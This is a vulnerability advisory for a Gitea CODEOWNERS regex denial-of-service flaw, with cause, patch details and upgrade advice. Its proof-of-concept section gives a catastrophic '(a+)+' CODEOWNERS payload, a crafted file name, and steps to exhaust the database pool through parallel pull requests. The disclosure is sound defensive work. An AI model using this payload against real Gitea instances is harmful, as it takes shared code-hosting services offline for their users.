CVE-2026-58421: Gitea CODEOWNERS ReDoS via Unbounded regexp2 Match
Gitea lets any registered user crash a server by putting a catastrophic regex pattern in a CODEOWNERS file and opening a pull request with a crafted file name, hanging the database connection pool ind
The problem
Gitea's CODEOWNERS parser compiles user-supplied patterns with regexp2 using the `regexp2.None` flag, which sets no match timeout. Every pull request creation evaluates each CODEOWNERS rule against each changed file path inside a database transaction.
An attacker with a normal user account can write a catastrophic backtracking pattern into a CODEOWNERS file, then open a PR from a branch containing a file named to trigger worst-case backtracking. Each rule evaluation takes seconds, each PR holds a DB connection open for the full duration, and parallel PR creation exhausts the connection pool.
Proof of concept
A working proof-of-concept for CVE-2026-58421 in code.gitea.io/gitea, with the exact payload below.
# CODEOWNERS (push to default branch)
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
# PR branch: create a file named exactly this (25 'a's + trailing 'X')
# The regex engine matches greedily then must backtrack through O(2^25) states
aaaaaaaaaaaaaaaaaaaaaaaaaX
# Then open a PR via API (or UI) from the attack branch to main.
# Each of the 11 rules calls regexp2 MatchString with no timeout.
# Observed: ~31 seconds per PR creation request; parallel requests exhaust
# the DB connection pool and take the Gitea instance offline.The vulnerable call is in `models/issues/pull.go` (around line 886), where `ParseCodeOwnersLine` compiles each CODEOWNERS token with `regexp2.Compile(pattern, regexp2.None)` and calls `rule.MatchString(changedFile)` with no timeout set.
The pattern `(a+)+` is a classic polynomial/exponential backtracking trap: the engine attempts all ways to partition a run of `a`s into groups, and the trailing `X` forces every path to fail, producing O(2^N) states for an N-character input. CWE-1333 (Inefficient Regular Expression Complexity).
The patch (PR #38011) switches the `regexp2` call to use `MatchTimeout`, bounding each match to a short deadline so a malicious pattern cannot hold a goroutine or database transaction indefinitely.
The fix
Upgrade to Gitea 1.26.4 (skip 1.26.3, which introduced a code-page regression). The fix is in commit ea35af1b68d57522c7686618bd61d3216d91589f, PR #38011 backported as #38025. No configuration change is required after upgrading.
Reported by AdamKorcz.
Related research
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- critical · 9.8CVE-2026-20896CVE-2026-20896: Gitea Docker Image Authentication Bypass via Spoofed X-WEBAUTH-USER Header
- high · 7.1CVE-2026-58437CVE-2026-58437: Gitea Repository Visibility Manipulation via Git Push Options